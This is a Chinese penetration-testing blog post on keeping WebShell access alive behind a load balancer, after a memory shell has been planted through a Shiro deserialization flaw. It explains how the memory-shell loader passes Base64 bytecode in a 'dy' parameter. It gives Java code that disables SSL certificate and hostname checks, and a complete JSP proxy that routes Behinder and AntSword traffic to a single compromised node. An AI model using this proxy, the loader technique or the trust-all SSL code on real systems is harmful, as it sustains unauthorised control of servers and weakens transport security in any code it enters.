负载均衡踩坑记
字数 1390 2025-08-04 00:38:02
负载均衡环境下WebShell连接问题解决方案
问题背景
在渗透测试过程中,当通过Shiro反序列化漏洞植入内存马获取Shell后,如果目标主机处于负载均衡环境中,使用冰蝎、蚁剑等WebShell管理工具上传大文件时会失败。这是因为负载均衡环境下请求可能被分发到不同节点,导致文件上传不完整或失败。
问题分析
问题一:为什么Shell管理工具文件上传需要分包?
- Tomcat默认限制:Tomcat默认参数大小为2MB,超过此限制的请求会被拒绝
- 工具实现机制:
- 蚁剑等工具默认设置分片大小为500KB
- 尝试增大分片大小(如5000KB)会导致上传失败
- 上传内容通常存储在请求参数中(如蚁剑的z2参数)
问题二:是否有其他方式上传大文件?
- 自定义上传点:可以构造一个上传表单,通过解析上传内容实现一次性上传大文件
- 局限性:这种方法只是临时解决方案,没有从根本上解决负载均衡下的WebShell连接问题
问题三:负载均衡下WebShell连接的解决方案
HTTP代理方案:实现一个HTTP代理,将所有对WebShell的连接请求都代理到指定的一台节点上处理,客户端只需与代理交互。
环境搭建
为了模拟测试环境:
- 负载均衡主机:Tomcat服务器(192.168.3.1:8088),部署有WebShell(test666.jsp)
- 代理服务器:SpringBoot应用(192.168.3.1:8089),负责转发请求到Tomcat
技术实现
步骤一:接收请求内容并发给目标
- 请求处理:代理不关心具体请求内容,直接获取原始请求的InputStream
- SpringBoot的坑点:SpringBoot在到达Controller前会读取InputStream,导致Controller中无法再次获取内容
- 解决方案:使用Filter内存马,在doFilter中添加代理逻辑
步骤二:获取目标返回结果并返回给客户端
- 响应处理差异:
- 蚁剑:返回字符数据,可使用字符流处理
- 冰蝎:返回字节码,必须使用字节流(OutputStream)处理
内存马种植问题
- 请求头过长问题:通过Shiro植入内存马时可能遇到请求头过长限制
- 解决方案分析:
- 使用特定工具(GitHub项目)注入内存马
- 该工具使用dy参数传递内存马Base64编码的字节码
- RememberMe字段仅用于加载内存马的Loader
- 实现原理:
- 服务端通过TemplatesImpl将_bytecodes中的类实例化
- 反射获取request对象的dy参数,Base64解码后通过defineClass加载类
- 调用equal方法添加Filter或Servlet内存马
SSL问题处理
当目标使用自签名SSL证书时,需要忽略SSL验证:
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = (urlHostName, session) -> true;
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] {
new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() { return null; }
public void checkClientTrusted(X509Certificate[] arg0, String arg1) {}
public void checkServerTrusted(X509Certificate[] arg0, String arg1) {}
}
};
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
}
完整JSP实现代码
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "https://127.0.0.1:8443/test666.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
关键点总结
- 负载均衡环境下WebShell连接的核心问题:请求被分发到不同节点导致状态不一致
- 解决方案本质:通过代理确保所有请求都发送到同一节点处理
- 实现注意事项:
- 正确处理请求和响应的数据流(区分字符流和字节流)
- 处理可能存在的SSL证书验证问题
- 内存马注入时的请求头大小限制问题
- 扩展性思考:该方案不仅适用于WebShell管理,也可用于其他需要保持会话一致性的场景
参考文章
- 负载均衡下的 WebShell 连接 by Medicean